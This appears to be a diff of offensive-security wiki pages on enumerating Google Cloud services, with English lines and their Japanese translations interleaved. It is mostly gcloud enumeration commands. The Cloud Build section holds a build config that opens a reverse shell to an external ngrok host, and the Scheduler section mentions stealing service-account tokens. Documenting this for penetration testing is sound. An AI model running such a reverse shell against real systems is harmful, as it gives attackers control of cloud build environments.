## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable).
大規模な分析および運用ワークロード向けの、完全に管理されたスケーラブルなNoSQLデータベースサービスで、99.999%の可用性を提供します。[詳細を学ぶ](https://cloud.google.com/bigtable).
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -28,9 +27,4 @@ gcloud bigtable hot-tablets list
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,106 +2,101 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
Google Cloud Buildは、**ソフトウェアビルド**とリリースプロセスを自動化する管理されたCI/CDプラットフォームであり、**ソースコードリポジトリ**と統合し、幅広いプログラミング言語をサポートしています。これにより、**開発者はコードを自動的にビルド、テスト、デプロイ**でき、ビルドステップやワークフローをカスタマイズする柔軟性を提供します。
Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
Cloud Buildトリガーは、**Cloud Repositoryに関連付けられているか、外部リポジトリ**GithubBitbucketGitlab)に直接接続されています。
> [!TIP]
> I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
> ここやCloud RepositoriesからGithub/Bitbucketトークンを盗む方法は見当たりません。リポジトリがダウンロードされると、[https://source.cloud.google.com/](https://source.cloud.google.com/) URLを介してアクセスされ、Githubはクライアントによってアクセスされません。
### Events
### イベント
The Cloud Build can be triggered if:
Cloud Buildは以下の場合にトリガーされます:
- **Push to a branch**: Specify the branch
- **Push a new tag**: Specify the tag
- P**ull request**: Specify the branch that receives the PR
- **Manual Invocation**
- **Pub/Sub message:** Specify the topic
- **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
- **ブランチへのプッシュ**: ブランチを指定
- **新しいタグのプッシュ**: タグを指定
- **プルリクエスト**: PRを受け取るブランチを指定
- **手動呼び出し**
- **Pub/Subメッセージ:** トピックを指定
- **Webhookイベント**: HTTPS URLを公開し、リクエストはシークレットで認証される必要があります
### Execution
### 実行
There are 3 options:
3つのオプションがあります
- A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
- Only one that can be specified “inline” in the web console and in the cli
- Most common option
- Relevant for unauthenticated access
- A **Dockerfile** to build
- A **Buildpack** to build
- 実行するコマンドを**指定するyaml/json**。通常は:`/cloudbuild.yaml`
- ウェブコンソールとCLIで「インライン」で指定できる唯一のもの
- 最も一般的なオプション
- 認証されていないアクセスに関連
- ビルドするための**Dockerfile**
- ビルドするための**Buildpack**
### SA Permissions
### SA権限
The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
**サービスアカウントは`cloud-platform`スコープを持っているため、**すべての権限を**使用できます。**SAが指定されていない場合**(提出時など)、**デフォルトのSA** `<proj-number>@cloudbuild.gserviceaccount.com`が**使用されます。**
By default no permissions are given but it's fairly easy to give it some:
デフォルトでは権限は与えられませんが、いくつかの権限を与えるのは非常に簡単です:
<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>
### Approvals
### 承認
It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
Cloud Buildを**ビルド実行の承認を必要とするように設定することが可能です**(デフォルトでは無効)。
### PR Approvals
### PR承認
When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
トリガーがPRの場合、**誰でも公開リポジトリにPRを行うことができるため、**任意のPRでトリガーの実行を**許可するのは非常に危険です**。したがって、デフォルトでは、実行は**所有者とコラボレーターのみに自動的に行われ**、他のユーザーのPRでトリガーを実行するには、所有者またはコラボレーターが`/gcbrun`とコメントする必要があります。
<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
### Connections & Repositories
### 接続とリポジトリ
Connections can be created over:
接続は以下で作成できます:
- **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
- **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
- **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
- **GitHub:** **Githubトークンを取得するための権限を求めるOAuthプロンプト**が表示され、**Secret Manager**内に保存されます。
- **GitHub Enterprise:** **GithubApp**のインストールを求められます。GitHub Enterpriseホストからの**認証トークン**が作成され、このプロジェクト内に**Secret Manager**のシークレットとして保存されます。
- **GitLab / Enterprise:** **APIアクセス用トークンと読み取りAPIアクセス用トークンを提供する必要があります**。これらは**Secret Manager**に保存されます。
Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
接続が生成されると、**Githubアカウントがアクセスできるリポジトリをリンクするために使用できます**。
This option is available through the button:
このオプションはボタンを通じて利用可能です:
<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
> この方法で接続されたリポジトリは、**2世代のトリガーでのみ利用可能です**
### Connect a Repository
### リポジトリを接続する
This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
これは**`接続`**とは異なります。これは**GithubまたはBitbucket**リポジトリへの**アクセスを取得するための異なる**方法を提供しますが、**接続オブジェクトを生成するのではなく、リポジトリオブジェクト1世代を生成します。**
This option is available through the button:
このオプションはボタンを通じて利用可能です:
<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>
### Storage
Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
### ストレージ
時々、Cloud Buildは**トリガーのファイルを保存するための新しいストレージを生成します**。これは、GCPが提供する例などで発生します
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
ストレージバケット [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) が作成され、使用するファイルを含む `.tgz` を保存します。
A Storage bucket called [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) is created to store a `.tgz` with the files to be used.
### Get shell
### シェルを取得
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
logging: CLOUD_LOGGING_ONLY
```
Install gcloud inside cloud build:
gcloudをクラウドビルド内にインストールする:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
@@ -109,11 +104,9 @@ mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### 列挙
### Enumeration
You could find **sensitive info in build configs and logs**.
**ビルド構成やログに機密情報が含まれている可能性があります。**
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
@@ -127,49 +120,44 @@ gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### Privilege Escalation
### 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}
### Unauthenticated Access
### 認証されていないアクセス
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,25 +4,25 @@
## Cloud Functions <a href="#reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
[Google Cloud Functions](https://cloud.google.com/functions/) are designed to host your code, which **gets executed in response to events**, without necessitating the management of a host operating system. Additionally, these functions support the storage of environment variables, which the code can utilize.
[Google Cloud Functions](https://cloud.google.com/functions/) は、**イベントに応じて実行される**コードをホストするために設計されており、ホストオペレーティングシステムの管理を必要としません。さらに、これらの関数は、コードが利用できる環境変数の保存をサポートしています。
### Storage
The Cloud Functions **code is stored in GCP Storage**. Therefore, anyone with **read access over buckets** in GCP is going to be able to **read the Cloud Functions code**.\
The code is stored in a bucket like one of the following:
Cloud Functionsの**コードはGCP Storageに保存されます**。したがって、GCPの**バケットに対する読み取りアクセス権を持つ**誰でも**Cloud Functionsのコードを読み取ることができます**。\
コードは次のようなバケットに保存されます:
- `gcf-sources-<number>-<region>/<function-name>-<uuid>/version-<n>/function-source.zip`
- `gcf-v2-sources-<number>-<region>/<function-name>function-source.zip`
For example:\
例えば:\
`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
> [!WARNING]
> Any user with **read privileges over the bucket** storing the Cloud Function could **read the executed code**.
> Cloud Functionを保存している**バケットに対する読み取り権限を持つ**ユーザーは、**実行されたコードを読み取ることができます**
### Artifact Registry
If the cloud function is configured so the executed Docker container is stored inside and Artifact Registry repo inside the project, anyway with read access over the repo will be able to download the image and check the source code. For more info check:
クラウド関数が実行されたDockerコンテナがプロジェクト内のArtifact Registryリポジトリに保存されるように構成されている場合、リポジトリに対する読み取りアクセス権を持つ誰でも、イメージをダウンロードしてソースコードを確認できます。詳細については、次を確認してください
{{#ref}}
gcp-artifact-registry-enum.md
@@ -30,26 +30,25 @@ gcp-artifact-registry-enum.md
### SA
If not specified, by default the **App Engine Default Service Account** with **Editor permissions** over the project will be attached to the Cloud Function.
指定されていない場合、デフォルトで**App Engine Default Service Account**がプロジェクトに対して**Editor権限**を持ってCloud Functionに添付されます。
### Triggers, URL & Authentication
When a Cloud Function is created the **trigger** needs to be specified. One common one is **HTTPS**, this will **create an URL where the function** can be triggered via web browsing.\
Other triggers are pub/sub, Storage, Filestore...
Cloud Functionが作成されると、**トリガー**を指定する必要があります。一般的なものの一つは**HTTPS**で、これにより**関数をウェブブラウジングでトリガーできるURLが作成されます**。\
他のトリガーにはpub/subStorageFilestoreなどがあります...
The URL format is **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
URL形式は**`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**です。
When the HTTPS tigger is used, it's also indicated if the **caller needs to have IAM authorization** to call the Function or if **everyone** can just call it:
HTTPSトリガーが使用されると、**呼び出し元がFunctionを呼び出すためにIAM認証を持っている必要があるか**、**誰でも呼び出すことができるか**も示されます:
<figure><img src="../../../images/image (19).png" alt=""><figcaption></figcaption></figure>
### Inside the Cloud Function
The code is **downloaded inside** the folder **`/workspace`** with the same file names as the ones the files have in the Cloud Function and is executed with the user `www-data`.\
The disk **isn't mounted as read-only.**
コードは**`/workspace`**フォルダ内にダウンロードされ、Cloud Function内のファイルと同じファイル名を持ち、ユーザー`www-data`で実行されます。\
ディスクは**読み取り専用としてマウントされていません**
### Enumeration
```bash
# List functions
gcloud functions list
@@ -74,39 +73,34 @@ curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
-H "Content-Type: application/json" \
-d '{}'
```
### 権限昇格
### Privilege Escalation
In the following page, you can check how to **abuse cloud function permissions to escalate privileges**:
次のページでは、**クラウド関数の権限を悪用して権限を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
{{#endref}}
### Unauthenticated Access
### 認証されていないアクセス
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-cloud-functions-persistence.md
{{#endref}}
## References
## 参考文献
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,36 +4,35 @@
## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
Cloud Run is a serverless managed compute platform that lets you **run containers** directly on top of Google's scalable infrastructure.
Cloud Runは、Googleのスケーラブルなインフラストラクチャの上で**コンテナを直接実行**できるサーバーレスの管理されたコンピューティングプラットフォームです。
You can run your container or If you're using Go, Node.js, Python, Java, .NET Core, or Ruby, you can use the [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) option that **builds the container for you.**
コンテナを実行することもできますし、Go、Node.jsPythonJava.NET Core、またはRubyを使用している場合は、**コンテナを自動的に構築する**[ソースベースのデプロイメント](https://cloud.google.com/run/docs/deploying-source-code)オプションを使用できます。
Google has built Cloud Run to **work well together with other services on Google Cloud**, so you can build full-featured applications.
GoogleはCloud Runを**Google Cloud上の他のサービスと連携してうまく機能するように構築しました**ので、フル機能のアプリケーションを構築できます。
### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
On Cloud Run, your code can either run continuously as a _**service**_ or as a _**job**_. Both services and jobs run in the same environment and can use the same integrations with other services on Google Cloud.
Cloud Runでは、コードは_**サービス**_として継続的に実行されるか、_**ジョブ**_として実行されます。サービスとジョブは同じ環境で実行され、Google Cloud上の他のサービスとの同じ統合を使用できます。
- **Cloud Run services.** Used to run code that responds to web requests, or events.
- **Cloud Run jobs.** Used to run code that performs work (a job) and quits when the work is done.
- **Cloud Run services.** ウェブリクエストやイベントに応答するコードを実行するために使用されます。
- **Cloud Run jobs.** 作業(ジョブ)を実行し、作業が完了すると終了するコードを実行するために使用されます。
## Cloud Run Service
Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080 inside the container by default, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
Google [Cloud Run](https://cloud.google.com/run)は、環境変数を検索できる別のサーバーレスオファーです。Cloud Runは、デフォルトでコンテナ内のポート8080で実行される小さなウェブサーバーを作成し、HTTP GETリクエストを待機します。リクエストが受信されると、ジョブが実行され、ジョブログがHTTPレスポンスを介して出力されます。
### Relevant details
- By **default**, the **access** to the web server is **public**, but it can also be **limited to internal traffic** (VPC...)\
Moreover, the **authentication** to contact the web server can be **allowing all** or to **require authentication via IAM**.
- By default, the **encryption** uses a **Google managed key**, but a **CMEK** (Customer Managed Encryption Key) from **KMS** can also be **chosen**.
- By **default**, the **service account** used is the **Compute Engine default one** which has **Editor** access over the project and it has the **scope `cloud-platform`.**
- It's possible to define **clear-text environment variables** for the execution, and even **mount cloud secrets** or **add cloud secrets to environment variables.**
- It's also possible to **add connections with Cloud SQL** and **mount a file system.**
- The **URLs** of the services deployed are similar to **`https://<svc-name>-<random>.a.run.app`**
- A Run Service can have **more than 1 version or revision**, and **split traffic** among several revisions.
- **デフォルト**では、ウェブサーバーへの**アクセス**は**公開**ですが、**内部トラフィック**VPCなどに**制限**することもできます。\
さらに、ウェブサーバーに接続するための**認証**は、**すべてを許可する**か、**IAMを介した認証を要求する**ことができます。
- デフォルトでは、**暗号化**は**Google管理のキー**を使用しますが、**KMS**からの**CMEK**(顧客管理の暗号化キー)を**選択**することもできます。
- **デフォルト**では、使用される**サービスアカウント**は**Compute Engineのデフォルトアカウント**で、プロジェクトに対して**Editor**アクセス権を持ち、**スコープ`cloud-platform`**があります。
- 実行のために**平文の環境変数**を定義することが可能で、**クラウドシークレットをマウント**したり、**環境変数にクラウドシークレットを追加**したりすることもできます。
- **Cloud SQLとの接続を追加**したり、**ファイルシステムをマウント**したりすることも可能です。
- デプロイされたサービスの**URL**は、**`https://<svc-name>-<random>.a.run.app`**に似ています。
- Run Serviceは**1つ以上のバージョンまたはリビジョン**を持つことができ、**複数のリビジョン間でトラフィックを分割**できます。
### Enumeration
```bash
# List services
gcloud run services list
@@ -65,51 +64,44 @@ curl <url>
# Attempt to trigger a job with your current gcloud authorization
curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <url>
```
## Cloud Run Jobs
Cloud Run jobs are be a better fit for **containers that run to completion and don't serve requests**. Jobs don't have the ability to serve requests or listen on a port. This means that unlike Cloud Run services, jobs should not bundle a web server. Instead, jobs containers should exit when they are done.
Cloud Run ジョブは、**完了するまで実行され、リクエストを処理しないコンテナ**により適しています。ジョブはリクエストを処理したり、ポートで待機したりする能力がありません。これは、Cloud Run サービスとは異なり、ジョブはウェブサーバーをバンドルすべきではないことを意味します。代わりに、ジョブコンテナは完了したら終了するべきです。
### Enumeration
```bash
gcloud beta run jobs list
gcloud beta run jobs describe --region <region> <job-name>
gcloud beta run jobs get-iam-policy --region <region> <job-name>
```
## 権限昇格
## Privilege Escalation
In the following page, you can check how to **abuse cloud run permissions to escalate privileges**:
次のページでは、**クラウドランの権限を悪用して権限を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-run-privesc.md
{{#endref}}
## Unauthenticated Access
## 認証されていないアクセス
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
{{#endref}}
## Post Exploitation
## ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
{{#endref}}
## Persistence
## 永続性
{{#ref}}
../gcp-persistence/gcp-cloud-run-persistence.md
{{#endref}}
## References
## 参考文献
- [https://cloud.google.com/run/docs/overview/what-is-cloud-run](https://cloud.google.com/run/docs/overview/what-is-cloud-run)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,33 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Scheduler is a fully managed **cron job service** that allows you to run arbitrary jobs—such as batch, big data jobs, cloud infrastructure operations—at fixed times, dates, or intervals. It is integrated with Google Cloud services, providing a way to **automate various tasks like updates or batch processing on a regular schedule**.
Google Cloud Schedulerは、任意のジョブ(バッチ、ビッグデータジョブ、クラウドインフラストラクチャ操作など)を固定の時間、日付、または間隔で実行できる完全管理型の**cronジョブサービス**です。これはGoogle Cloudサービスと統合されており、**定期的なスケジュールでの更新やバッチ処理など、さまざまなタスクを自動化する方法を提供します**。
Although from an offensive point of view this sounds amazing, it actually isn't that interesting because the service just allow to schedule certain simple actions at a certain time and not to execute arbitrary code.
攻撃的な観点から見るとこれは素晴らしいことのように思えますが、実際にはそれほど興味深いものではありません。なぜなら、このサービスは特定の時間に特定の単純なアクションをスケジュールすることしか許可せず、任意のコードを実行することはできないからです。
At the moment of this writing these are the actions this service allows to schedule:
この執筆時点で、このサービスがスケジュールを許可するアクションは次のとおりです:
<figure><img src="../../../images/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
- **HTTP**: Send an HTTP request defining the headers and body of the request.
- **Pub/Sub**: Send a message into an specific topic
- **App Engine HTTP**: Send an HTTP request to an app built in App Engine
- **Workflows**: Call a GCP Workflow.
- **HTTP**: リクエストのヘッダーとボディを定義してHTTPリクエストを送信します。
- **Pub/Sub**: 特定のトピックにメッセージを送信します。
- **App Engine HTTP**: App Engineで構築されたアプリにHTTPリクエストを送信します。
- **Workflows**: GCP Workflowを呼び出します。
## Service Accounts
## サービスアカウント
A service account is not always required by each scheduler. The **Pub/Sub** and **App Engine HTTP** types don't require any service account. The **Workflow** does require a service account, but it'll just invoke the workflow.\
Finally, the regular HTTP type doesn't require a service account, but it's possible to indicate that some kind of auth is required by the workflow and add either an **OAuth token or an OIDC token to the sent** HTTP request.
サービスアカウントは、各スケジューラによって常に必要なわけではありません。**Pub/Sub**および**App Engine HTTP**タイプは、サービスアカウントを必要としません。**Workflow**はサービスアカウントを必要としますが、単にワークフローを呼び出すだけです。\
最後に、通常のHTTPタイプはサービスアカウントを必要としませんが、ワークフローによって何らかの認証が必要であることを示し、送信されるHTTPリクエストに**OAuthトークンまたはOIDCトークンを追加する**ことが可能です。
> [!CAUTION]
> Therefore, it's possible to steal the **OIDC** token and abuse the **OAuth** token from service accounts **abusing the HTTP type**. More on this in the privilege escalation page.
> したがって、**HTTPタイプ**を悪用してサービスアカウントから**OIDC**トークンを盗んだり、**OAuth**トークンを悪用したりすることが可能です。特権昇格ページでさらに詳しく説明します。
Note that it's possible to limit the scope of the OAuth token sent, however, by default, it'll be `cloud-platform`.
## Enumeration
送信されるOAuthトークンのスコープを制限することは可能ですが、デフォルトでは`cloud-platform`になります。
## 列挙
```bash
# Get schedulers in a location
gcloud scheduler jobs list --location us-central1
@@ -36,15 +35,10 @@ gcloud scheduler jobs list --location us-central1
# Get information of an specific scheduler
gcloud scheduler jobs describe --location us-central1 <scheduler-name>
```
## Privilege Escalation
## 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,31 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Shell is an interactive shell environment for Google Cloud Platform (GCP) that provides you with **command-line access to your GCP resources directly from your browser or shell**. It's a managed service provided by Google, and it comes with a **pre-installed set of tools**, making it easier to manage your GCP resources without having to install and configure these tools on your local machine.\
Moreover, its offered at **no additional cost.**
Google Cloud Shellは、Google Cloud PlatformGCP)用のインタラクティブなシェル環境で、**ブラウザやシェルから直接GCPリソースにコマンドラインアクセスを提供**します。これはGoogleが提供するマネージドサービスで、**事前にインストールされたツールセット**が付属しており、これらのツールをローカルマシンにインストールして設定することなくGCPリソースを管理するのが容易になります。\
さらに、**追加費用はかかりません。**
**Any user of the organization** (Workspace) is able to execute **`gcloud cloud-shell ssh`** and get access to his **cloudshell** environment. However, **Service Accounts can't**, even if they are owner of the organization.
**組織の任意のユーザー**Workspace)は、**`gcloud cloud-shell ssh`**を実行して自分の**cloudshell**環境にアクセスできます。しかし、**サービスアカウントはできません**、たとえ彼らが組織のオーナーであっても。
There **aren't** **permissions** assigned to this service, therefore the **aren't privilege escalation techniques**. Also there **isn't any kind of enumeration**.
このサービスには**権限**が割り当てられていないため、**特権昇格技術はありません**。また、**列挙の種類もありません**。
Note that Cloud Shell can be **easily disabled** for the organization.
Cloud Shellは**簡単に無効化**できることに注意してください。
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud SQL is a managed service that **simplifies setting up, maintaining, and administering relational databases** like MySQL, PostgreSQL, and SQL Server on Google Cloud Platform, removing the need to handle tasks like hardware provisioning, database setup, patching, and backups.
Google Cloud SQLは、**MySQLPostgreSQLSQL Server**などのリレーショナルデータベースをGoogle Cloud Platform上で**設定、維持、管理する**ことを簡素化するマネージドサービスであり、ハードウェアのプロビジョニング、データベースのセットアップ、パッチ適用、バックアップなどのタスクを処理する必要がなくなります。
Key features of Google Cloud SQL include:
Google Cloud SQLの主な機能は以下の通りです:
1. **Fully Managed**: Google Cloud SQL is a fully-managed service, meaning that Google handles database maintenance tasks like patching, updates, backups, and configuration.
2. **Scalability**: It provides the ability to scale your database's storage capacity and compute resources, often without downtime.
3. **High Availability**: Offers high availability configurations, ensuring your database services are reliable and can withstand zone or instance failures.
4. **Security**: Provides robust security features like data encryption, Identity and Access Management (IAM) controls, and network isolation using private IPs and VPC.
5. **Backups and Recovery**: Supports automatic backups and point-in-time recovery, helping you safeguard and restore your data.
6. **Integration**: Seamlessly integrates with other Google Cloud services, providing a comprehensive solution for building, deploying, and managing applications.
7. **Performance**: Offers performance metrics and diagnostics to monitor, troubleshoot, and improve database performance.
1. **完全管理**Google Cloud SQLは完全管理サービスであり、Googleがパッチ適用、更新、バックアップ、構成などのデータベースメンテナンスタスクを処理します。
2. **スケーラビリティ**:データベースのストレージ容量と計算リソースをスケールアップする能力を提供し、しばしばダウンタイムなしで行えます。
3. **高可用性**:高可用性構成を提供し、データベースサービスが信頼でき、ゾーンやインスタンスの障害に耐えられるようにします。
4. **セキュリティ**データ暗号化、アイデンティティとアクセス管理IAM制御、プライベートIPとVPCを使用したネットワーク隔離などの堅牢なセキュリティ機能を提供します。
5. **バックアップと復元**:自動バックアップと時点復元をサポートし、データを保護し復元するのに役立ちます。
6. **統合**他のGoogle Cloudサービスとシームレスに統合され、アプリケーションの構築、展開、管理のための包括的なソリューションを提供します。
7. **パフォーマンス**:データベースのパフォーマンスを監視、トラブルシューティング、改善するためのパフォーマンスメトリクスと診断を提供します。
### Password
### パスワード
In the web console Cloud SQL allows the user to **set** the **password** of the database, there also a generate feature, but most importantly, **MySQL** allows to **leave an empty password and all of them allows to set as password just the char "a":**
ウェブコンソールでは、Cloud SQLはユーザーがデータベースの**パスワード**を**設定**できるようにし、生成機能もありますが、最も重要なのは、**MySQL**が**空のパスワードを許可し、すべてのデータベースがパスワードとして文字 "a" のみを設定できることです:
<figure><img src="../../../images/image (14).png" alt=""><figcaption></figcaption></figure>
It's also possible to configure a password policy requiring **length**, **complexity**, **disabling reuse** and **disabling username in password**. All are disabled by default.
**長さ**、**複雑さ**、**再利用の無効化**、および**パスワードにユーザー名を含めない**ことを要求するパスワードポリシーを設定することも可能です。すべての設定はデフォルトで無効になっています。
**SQL Server** can be configured with **Active Directory Authentication**.
**SQL Server**は**Active Directory Authentication**で構成できます。
### Zone Availability
### ゾーンの可用性
The database can be **available in 1 zone or in multiple**, of course, it's recommended to have important databases in multiple zones.
データベースは**1つのゾーンまたは複数のゾーンで利用可能**であり、重要なデータベースは複数のゾーンに配置することが推奨されます。
### Encryption
### 暗号化
By default a Google-managed encryption key is used, but it's also **possible to select a Customer-managed encryption key (CMEK)**.
デフォルトではGoogle管理の暗号化キーが使用されますが、**顧客管理の暗号化キーCMEK**を選択することも**可能です**。
### Connections
### 接続
- **Private IP**: Indicate the VPC network and the database will get an private IP inside the network
- **Public IP**: The database will get a public IP, but by default no-one will be able to connect
- **Authorized networks**: Indicate public **IP ranges that should be allowed** to connect to the database
- **Private Path**: If the DB is connected in some VPC, it's possible to enable this option and give **other GCP services like BigQuery access over it**
- **プライベートIP**VPCネットワークを指定すると、データベースはネットワーク内にプライベートIPを取得します。
- **パブリックIP**データベースはパブリックIPを取得しますが、デフォルトでは誰も接続できません。
- **承認されたネットワーク**:データベースに接続を許可すべき公的な**IP範囲を指定**します。
- **プライベートパス**DBがVPCに接続されている場合、このオプションを有効にして**BigQueryなどの他のGCPサービスにアクセスを提供**することが可能です。
<figure><img src="../../../images/image (15).png" alt=""><figcaption></figcaption></figure>
### Data Protection
### データ保護
- **Daily backups**: Perform automatic daily backups and indicate the number of backups you want to maintain.
- **Point-in-time recovery**: Allows you to recover data from a specific point in time, down to a fraction of a second.
- **Deletion Protection**: If enabled, the DB won't be able to be deleted until this feature is disabled
### Enumeration
- **毎日のバックアップ**:自動的に毎日のバックアップを実行し、保持したいバックアップの数を指定します。
- **時点復元**:特定の時点からデータを復元でき、秒の一部まで対応します。
- **削除保護**有効にすると、この機能が無効になるまでDBを削除できなくなります。
### 列挙
```bash
# Get SQL instances
gcloud sql instances list
@@ -67,27 +66,22 @@ gcloud sql users list --instance <intance-name>
gcloud sql backups list --instance <intance-name>
gcloud sql backups describe <backup-name> --instance <intance-name>
```
### Unauthenticated Enum
### 認証なしの列挙
